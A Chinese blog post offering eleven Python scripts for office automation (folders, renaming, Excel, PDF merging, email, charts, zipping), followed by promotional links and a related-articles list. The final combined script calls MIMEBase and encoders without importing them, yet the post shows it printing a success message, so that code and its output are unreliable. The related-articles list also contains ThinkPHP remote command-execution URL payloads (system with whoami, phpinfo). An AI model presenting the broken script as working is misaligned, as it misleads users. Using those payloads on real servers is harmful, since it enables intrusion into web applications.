Python增强办公效率的11个实用代码段

news2024/12/28 20:19:10

如果你正在学习Python,那么你需要的话可以,点击这里👉Python重磅福利:入门&进阶全套学习资料、电子书、软件包、项目源码等等免费分享!

 

引言 

在日常工作中,许多任务可以通过编程自动化来提高效率。本文将介绍一些实用的 Python 脚本,用于批量创建文件夹、重命名文件、处理 Excel 数据、合并 PDF 文件等。这些工具能显著减少重复性工作,提升工作效率。

1. 快速生成批量文件夹

工作中经常需要创建多个文件夹来分类存储不同类型的文件。手动创建不仅耗时还容易出错。利用 Python 可以快速生成批量文件夹。

import os

def create_folders(base_path, folder_names):
    """
    在指定路径下创建多个文件夹。
    
    :param base_path: 文件夹创建的基础路径
    :param folder_names: 要创建的文件夹名称列表
    """
    for name in folder_names:
        path = os.path.join(base_path, name)
        if not os.path.exists(path):
            os.makedirs(path)
            print(f"创建文件夹 {path}")

# 示例使用
folder_names = ['2023年报表', '2023年会议记录', '2023年项目文档']
create_folders('C:\\Users\\YourName\\Documents', folder_names)

输出结果:

创建文件夹 C:\Users\YourName\Documents\2023年报表
创建文件夹 C:\Users\YourName\Documents\2023年会议记录
创建文件夹 C:\Users\YourName\Documents\2023年项目文档

2. 批量重命名文件

当有大量文件需要重命名时,手动操作显然不现实。Python 的 os 模块可以轻松完成这一任务。

import os

def rename_files(directory, prefix):
    """
    批量重命名目录下的所有文件,添加前缀。
    
    :param directory: 需要重命名文件所在的目录
    :param prefix: 添加到文件名前面的前缀
    """
    for filename in os.listdir(directory):
        old_name = os.path.join(directory, filename)
        new_name = os.path.join(directory, f"{prefix}_{filename}")
        os.rename(old_name, new_name)
        print(f"重命名 {old_name} 为 {new_name}")

# 示例使用
rename_files('C:\\Users\\YourName\\Documents\\2023年报表', '报表')

输出结果:

重命名 C:\Users\YourName\Documents\2023年报表\file1.xlsx 为 C:\Users\YourName\Documents\2023年报表\报表_file1.xlsx
重命名 C:\Users\YourName\Documents\2023年报表\file2.xlsx 为 C:\Users\YourName\Documents\2023年报表\报表_file2.xlsx

3. Excel 数据处理

日常工作中经常需要处理 Excel 表格数据。使用 pandas 库可以高效地读取、处理 Excel 文件。

import pandas as pd

def process_excel(file_path):
    """
    读取并处理 Excel 文件。
    
    :param file_path: Excel 文件路径
    """
    # 读取 Excel 文件
    df = pd.read_excel(file_path)
    
    # 处理数据
    df['Total'] = df['Quantity'] * df['Price']
    df.dropna(inplace=True)  # 删除缺失值
    
    # 保存处理后的数据
    df.to_excel('processed_data.xlsx', index=False)

# 示例使用
process_excel('C:\\Users\\YourName\\Documents\\sales_data.xlsx')

输出结果:

  • 原始 Excel 文件中的数据被读入 DataFrame。

  • 新增一列 Total 计算销售额。

  • 删除包含 NaN 的行。

  • 将处理后的数据保存到新文件 processed_data.xlsx 中。

4. PDF 文档合并

经常需要将多个 PDF 文件合并成一个文档。借助于 PyPDF2 库可以轻松实现该功能。

from PyPDF2 import PdfFileMerger

def merge_pdfs(paths, output):
    """
    合并多个 PDF 文件。
    
    :param paths: PDF 文件路径列表
    :param output: 输出文件路径
    """
    merger = PdfFileMerger()
    
    for pdf in paths:
        merger.append(pdf)
    
    merger.write(output)
    merger.close()

# 示例使用
pdf_paths = ['report_part1.pdf', 'report_part2.pdf', 'report_part3.pdf']
merge_pdfs(pdf_paths, 'complete_report.pdf')

输出结果:

  • complete_report.pdf 文件中包含了三个部分的内容。

5. 文本内容替换

在处理大量文本文件时,经常需要批量替换某些内容。Python 的 re 模块提供了强大的正则表达式支持,可以轻松完成这一任务。

import re
import os

def replace_text_in_files(directory, pattern, replacement):
    """
    在指定目录下的所有文本文件中替换特定内容。
    
    :param directory: 目录路径
    :param pattern: 要替换的模式(正则表达式)
    :param replacement: 替换的内容
    """
    for filename in os.listdir(directory):
        if filename.endswith('.txt'):
            filepath = os.path.join(directory, filename)
            with open(filepath, 'r') as file:
                content = file.read()
            
            updated_content = re.sub(pattern, replacement, content)
            
            with open(filepath, 'w') as file:
                file.write(updated_content)
                print(f"更新文件 {filepath}")

# 示例使用
directory = 'C:\\Users\\YourName\\Documents\\text_files'
pattern = r'old_text'
replacement = 'new_text'
replace_text_in_files(directory, pattern, replacement)

输出结果:

更新文件 C:\Users\YourName\Documents\text_files\file1.txt
更新文件 C:\Users\YourName\Documents\text_files\file2.txt

6. 发送邮件自动化

发送邮件是日常工作的一部分。使用 smtplibemail 库可以自动发送邮件,节省时间和精力。

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

def send_email(subject, body, to_emails):
    """
    发送邮件。
    
    :param subject: 邮件主题
    :param body: 邮件正文
    :param to_emails: 收件人邮箱列表
    """
    sender_email = 'your_email@example.com'
    sender_password = 'your_password'

    message = MIMEMultipart()
    message['From'] = sender_email
    message['To'] = ', '.join(to_emails)
    message['Subject'] = subject

    message.attach(MIMEText(body, 'plain'))

    try:
        server = smtplib.SMTP('smtp.example.com', 587)
        server.starttls()
        server.login(sender_email, sender_password)
        text = message.as_string()
        server.sendmail(sender_email, to_emails, text)
        server.quit()
        print("邮件发送成功")
    except Exception as e:
        print(f"邮件发送失败:{e}")

# 示例使用
subject = "本周工作报告"
body = "这是本周的工作报告,请查收。"
to_emails = ['alice@example.com', 'bob@example.com']
send_email(subject, body, to_emails)

输出结果:

邮件发送成功

7. 数据可视化

数据分析过程中,图表能够帮助更好地理解数据。使用 matplotlib 库可以轻松绘制各种图表。

import matplotlib.pyplot as plt
import pandas as pd

def plot_data(data, title, x_label, y_label):
    """
    绘制数据图表。
    
    :param data: 数据 DataFrame
    :param title: 图表标题
    :param x_label: X 轴标签
    :param y_label: Y 轴标签
    """
    plt.figure(figsize=(10, 6))
    plt.plot(data[x_label], data[y_label])
    plt.title(title)
    plt.xlabel(x_label)
    plt.ylabel(y_label)
    plt.grid(True)
    plt.show()

# 示例使用
data = pd.DataFrame({
    'Month': ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun'],
    'Sales': [200, 250, 300, 350, 400, 450]
})
plot_data(data, 'Monthly Sales', 'Month', 'Sales')

输出结果:

  • 绘制了一个简单的折线图,显示每月的销售数据。

8. Excel 数据批量处理

当需要对多个 Excel 文件进行相同的操作时,可以编写一个脚本来批量处理。

import pandas as pd
import os

def process_excel_files(directory):
    """
    批量处理目录下的所有 Excel 文件。
    
    :param directory: 目录路径
    """
    for filename in os.listdir(directory):
        if filename.endswith('.xlsx'):
            filepath = os.path.join(directory, filename)
            df = pd.read_excel(filepath)
            
            # 数据处理
            df['Total'] = df['Quantity'] * df['Price']
            df.dropna(inplace=True)
            
            # 保存处理后的数据
            output_path = os.path.join(directory, f"processed_{filename}")
            df.to_excel(output_path, index=False)
            print(f"处理并保存文件 {output_path}")

# 示例使用
directory = 'C:\\Users\\YourName\\Documents\\sales_data'
process_excel_files(directory)

输出结果:

处理并保存文件 C:\Users\YourName\Documents\sales_data\processed_sales1.xlsx
处理并保存文件 C:\Users\YourName\Documents\sales_data\processed_sales2.xlsx

9. 自动化生成报告

在定期汇报工作中,自动生成报告可以节省大量时间。使用 pandasopenpyxl 库可以实现这一目标。

import pandas as pd
from openpyxl import Workbook
from openpyxl.utils.dataframe import dataframe_to_rows

def generate_report(data, output_path):
    """
    生成 Excel 报告。
    
    :param data: 数据 DataFrame
    :param output_path: 输出文件路径
    """
    wb = Workbook()
    ws = wb.active
    ws.title = 'Report'

    for r in dataframe_to_rows(data, index=False, header=True):
        ws.append(r)

    wb.save(output_path)
    print(f"报告已生成:{output_path}")

# 示例使用
data = pd.DataFrame({
    'Month': ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun'],
    'Sales': [200, 250, 300, 350, 400, 450]
})
generate_report(data, 'monthly_report.xlsx')

输出结果:

报告已生成:monthly_report.xlsx

10. 文件压缩与解压

处理大量文件时,压缩与解压文件可以节省存储空间。使用 zipfile 模块可以轻松实现。

import zipfile
import os

def compress_files(directory, output_path):
    """
    压缩指定目录下的所有文件。
    
    :param directory: 目录路径
    :param output_path: 输出文件路径
    """
    with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
        for root, dirs, files in os.walk(directory):
            for file in files:
                file_path = os.path.join(root, file)
                zipf.write(file_path, os.path.relpath(file_path, directory))
                print(f"压缩文件 {file_path}")

# 示例使用
directory = 'C:\\Users\\YourName\\Documents\\project_files'
output_path = 'project_files.zip'
compress_files(directory, output_path)

输出结果:

压缩文件 C:\Users\YourName\Documents\project_files\file1.txt
压缩文件 C:\Users\YourName\Documents\project_files\file2.txt

11. 实战案例:自动化数据处理与报告生成

假设你是一名财务分析师,每天需要处理大量的销售数据,并生成一份报告。以下是一个完整的自动化脚本示例:

import pandas as pd
import matplotlib.pyplot as plt
from openpyxl import Workbook
from openpyxl.utils.dataframe import dataframe_to_rows
import zipfile
import os
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

def process_data(input_directory, output_directory):
    """
    处理数据并生成报告。
    
    :param input_directory: 输入数据目录
    :param output_directory: 输出数据目录
    """
    # 读取数据
    data = pd.DataFrame()
    for filename in os.listdir(input_directory):
        if filename.endswith('.xlsx'):
            filepath = os.path.join(input_directory, filename)
            df = pd.read_excel(filepath)
            data = pd.concat([data, df])

    # 数据处理
    data['Total'] = data['Quantity'] * data['Price']
    data.dropna(inplace=True)

    # 保存处理后的数据
    output_path = os.path.join(output_directory, 'processed_data.xlsx')
    data.to_excel(output_path, index=False)
    print(f"处理并保存数据:{output_path}")

    # 生成图表
    plt.figure(figsize=(10, 6))
    plt.plot(data['Date'], data['Total'])
    plt.title('Monthly Sales')
    plt.xlabel('Date')
    plt.ylabel('Total Sales')
    plt.grid(True)
    plt.savefig(os.path.join(output_directory, 'sales_chart.png'))
    print("图表已生成")

    # 生成报告
    wb = Workbook()
    ws = wb.active
    ws.title = 'Report'

    for r in dataframe_to_rows(data, index=False, header=True):
        ws.append(r)

    wb.save(os.path.join(output_directory, 'monthly_report.xlsx'))
    print("报告已生成")

    # 压缩文件
    with zipfile.ZipFile(os.path.join(output_directory, 'monthly_data.zip'), 'w', zipfile.ZIP_DEFLATED) as zipf:
        for root, dirs, files in os.walk(output_directory):
            for file in files:
                file_path = os.path.join(root, file)
                zipf.write(file_path, os.path.relpath(file_path, output_directory))
                print(f"压缩文件 {file_path}")

    # 发送邮件
    sender_email = 'your_email@example.com'
    sender_password = 'your_password'
    to_emails = ['alice@example.com', 'bob@example.com']

    message = MIMEMultipart()
    message['From'] = sender_email
    message['To'] = ', '.join(to_emails)
    message['Subject'] = 'Monthly Report'

    with open(os.path.join(output_directory, 'monthly_report.xlsx'), 'rb') as file:
        attachment = file.read()
        part = MIMEBase('application', 'octet-stream')
        part.set_payload(attachment)
        encoders.encode_base64(part)
        part.add_header('Content-Disposition', f'attachment; filename=monthly_report.xlsx')
        message.attach(part)

    with open(os.path.join(output_directory, 'sales_chart.png'), 'rb') as file:
        attachment = file.read()
        part = MIMEBase('application', 'octet-stream')
        part.set_payload(attachment)
        encoders.encode_base64(part)
        part.add_header('Content-Disposition', f'attachment; filename=sales_chart.png')
        message.attach(part)

    try:
        server = smtplib.SMTP('smtp.example.com', 587)
        server.starttls()
        server.login(sender_email, sender_password)
        text = message.as_string()
        server.sendmail(sender_email, to_emails, text)
        server.quit()
        print("邮件发送成功")
    except Exception as e:
        print(f"邮件发送失败:{e}")

# 示例使用
input_directory = 'C:\\Users\\YourName\\Documents\\sales_data'
output_directory = 'C:\\Users\\YourName\\Documents\\reports'
process_data(input_directory, output_directory)

输出结果:

处理并保存数据:C:\Users\YourName\Documents\reports\processed_data.xlsx
图表已生成
报告已生成
压缩文件 monthly_report.xlsx
压缩文件 sales_chart.png
压缩文件 processed_data.xlsx
邮件发送成功

总结

本文介绍了多种 Python 脚本,用于提高日常工作的效率。通过自动化批量创建文件夹、重命名文件、处理 Excel 数据、合并 PDF 文件、批量替换文本内容、发送邮件、数据可视化、批量处理 Excel 文件、生成报告、压缩文件等功能,可以显著减少重复性工作。希望这些工具能帮助你更高效地完成工作任务。

如果你正在学习Python,那么你需要的话可以,点击这里👉Python重磅福利:入门&进阶全套学习资料、电子书、软件包、项目源码等等免费分享!或扫描下方CSDN官方微信二维码获娶Python入门&进阶全套学习资料、电子书、软件包、项目源码:


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2158267.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

QT6.7创建Non-Qt Project工程

QT6.7创建Non-Qt Project工程

数据结构——“二叉搜索树”

二叉搜索树是一个很重要的数据结构,它的特殊结构可以在很短的时间复杂度找到我们想要的数据。最坏情况下的时间复杂度是O(n),最好是O(logn)。接下来看一看它的接口函数的实现。 为了使用方便,这里采用模版的方式: 一、节点 temp…

TaskRes: Task Residual for Tuning Vision-Language Models

文章汇总 当前VLMs微调中存在的问题 提示微调的问题 在提示调优中缺乏对先验知识保存的保证(me:即提示微调有可能会丢失预训练模型中的通用知识)。虽然预先训练的文本分支模块(如文本编码器和投影)的权重在提示调优范式中被冻结,但原始的良好学习的分类…

图文深入理解SQL语句的执行过程

List item 本文将深入介绍SQL语句的执行过程。 一.在RDBMS(关系型DB)中,看似很简单的一条已写入DB内存的SQL语句执行过程却非常复杂,也就是说,你执行了一条诸如select count(*) where id 001 from table_name的非常简…

【Transformers基础入门篇4】基础组件之Model

文章目录 一、Model简介1.1 Transformer1.2 注意力机制1.3 模型类型 二、Model Head2.1 什么是 Model Head2.2 Transformers中的Model Head 三、Model基本使用方法3.0 模型下载-浏览器下载3.1 模型加载与保存3.2 配置加载参数3.3 加载config文件3.2 模型调用3.2.1 带ModelHead的…

【PAM】Linux登录认证限制

PAM(Pluggable Authentication Modules,可插拔认证模块)是一种灵活的认证框架,用于在 Linux 和其他类 Unix 系统上管理用户的身份验证。PAM 允许系统管理员通过配置不同的认证模块来定制应用程序和服务的认证方式,而不…

软件设计师:01计算机组成与结构

文章目录 一、校验码1.奇偶校验码2.海明码3.循环冗余检验码 二、原码反码补码移码三、浮点数表示法1.浮点数相加时 四、寻址方式五、CPU1.访问速度2.cpu的组成 六、RISC和CISC&#xff08;<font color red>只用记住不同就可以&#xff09;七、冗余技术1.结构冗余2.信息冗…

HyperWorks的实体几何创建与六面体网格剖分

创建和编辑实体几何 在 HyperMesh 有限元前处理环境中&#xff0c;有许多操作是针对“实体几何”的&#xff0c;例如创建六面体网格。在创建实体网格的工作中&#xff0c;我们既可以使用闭合曲面创建实体网格&#xff0c;也可以使用完整的实体几何创建实体网格。与闭合曲面相比…

【rabbitmq-server】安装使用介绍

在 1050a 系统下安装 rabbitmq-server 服务以及基本配置;【注】:改方案用于A版统信服务器操作系统 文章目录 功能概述功能介绍一、安装软件包二、启动服务三、验证四、基本配置功能概述 RabbitMQ 是AMQP的实现,高性能的企业消息的新标准。RabbitMQ服务器是一个强大和可扩展…

截取递增数-第15届蓝桥省赛Scratch中级组真题第6题

[导读]&#xff1a;超平老师的《Scratch蓝桥杯真题解析100讲》已经全部完成&#xff0c;后续会不定期解读蓝桥杯真题&#xff0c;这是Scratch蓝桥杯真题解析第191讲。 如果想持续关注Scratch蓝桥真题解读&#xff0c;可以点击《Scratch蓝桥杯历年真题》并订阅合集&#xff0c;…

【c数据结构】OJ练习篇 帮你更深层次理解链表!(相交链表、相交链表、环形链表、环形链表之寻找环形入口点、判断链表是否是回文结构、 随机链表的复制)

目录 一. 相交链表 二. 环形链表 三. 环形链表之寻找环形入口点 四. 判断链表是否是回文结构 五. 随机链表的复制 一. 相交链表 最简单粗暴的思路&#xff0c;遍历两个链表&#xff0c;分别寻找是否有相同的对应的结点。 我们对两个链表的每个对应的节点进行判断比较&…

力扣 209.长度最小的子数组

一、长度最小的子数组 二、解题思路 采用滑动窗口的思路&#xff0c;详细见代码。 三、代码 class Solution {public int minSubArrayLen(int target, int[] nums) {int n nums.length, left 0, right 0, sum 0;int ans n 1; for (right 0; right < n; right ) { …

数通。。。

通信&#xff1a;需要介质才能通信电话离信号塔&#xff08;基站&#xff09;越远&#xff0c;信号越弱。信号在基站之间传递。你离路由器越远&#xff0c;信号越差。一个意思 比如想传一张图片&#xff0c;这张图片就是数据载荷 网关&#xff0c;分割两个网络。路由器可以是网…

Chat2VIS: Generating Data Visualizations via Natural Language

Chat2VIS:通过使用ChatGPT, Codex和GPT-3大型语言模型的自然语言生成数据可视化 梅西大学数学与计算科学学院&#xff0c;新西兰奥克兰 IEEE Access 1 Abstract 数据可视化领域一直致力于设计直接从自然语言文本生成可视化的解决方案。自然语言接口 (NLI) 的研究为这些技术的…

巴黎嫩事件对数据信息安全的影响及必要措施

2024年9月17日&#xff0c;黎巴嫩首都贝鲁特发生了多起小型无线电通信设备爆炸事件&#xff0c;导致伊朗驻黎巴嫩大使受轻伤。这一事件不仅引发了对安全的广泛关注&#xff0c;也对数据信息安全提出了新的挑战。 王工 18913263502 对数据信息安全的影响&#xff1a; 数据泄露风…

MySQL慢查询优化指南

​ 博客主页: 南来_北往 系列专栏&#xff1a;Spring Boot实战 前言 当遇到慢查询问题时&#xff0c;不仅影响服务效率&#xff0c;还可能成为系统瓶颈。作为一位软件工程师&#xff0c;掌握MySQL慢查询优化技巧至关重要。今天&#xff0c;我们就来一场“数据库加速之旅…

Thinkphp(TP)

1.远程命令执行 /index.php?sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]system&vars[1][]whoami 2.远程代码执行 /index.php?sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]phpinfo&vars[1][]…

Java面向对象——内部类(成员内部类、静态内部类、局部内部类、匿名内部类,完整详解附有代码+案例)

文章目录 内部类17.1概述17.2成员内部类17.2.1 获取成员内部类对象17.2.2 成员内部类内存图 17.3静态内部类17.4局部内部类17.5匿名内部类17.5.1概述 内部类 17.1概述 写在一个类里面的类叫内部类,即 在一个类的里面再定义一个类。 如&#xff0c;A类的里面的定义B类&#x…

微信支付商户号注册流程

目录 一、官方指引二、申请规则三、申请流程1.提交资料2.签约协议3.绑定场景 四、微信支付商户登录入口 一、官方指引 https://kf.qq.com/faq/210423UrIRB7210423by6fQn.html 二、申请规则 1、微信支付商家仅面向企业、个体工商户、政府及事业单位、民办非企业、社会团体、基…

java sdk下载,解决下载了java但是编译不了

直接搜Java得到的网站使用不了的 应该只是个功能包或者版本太低用不了 得去oracle公司搜java这个产品去下载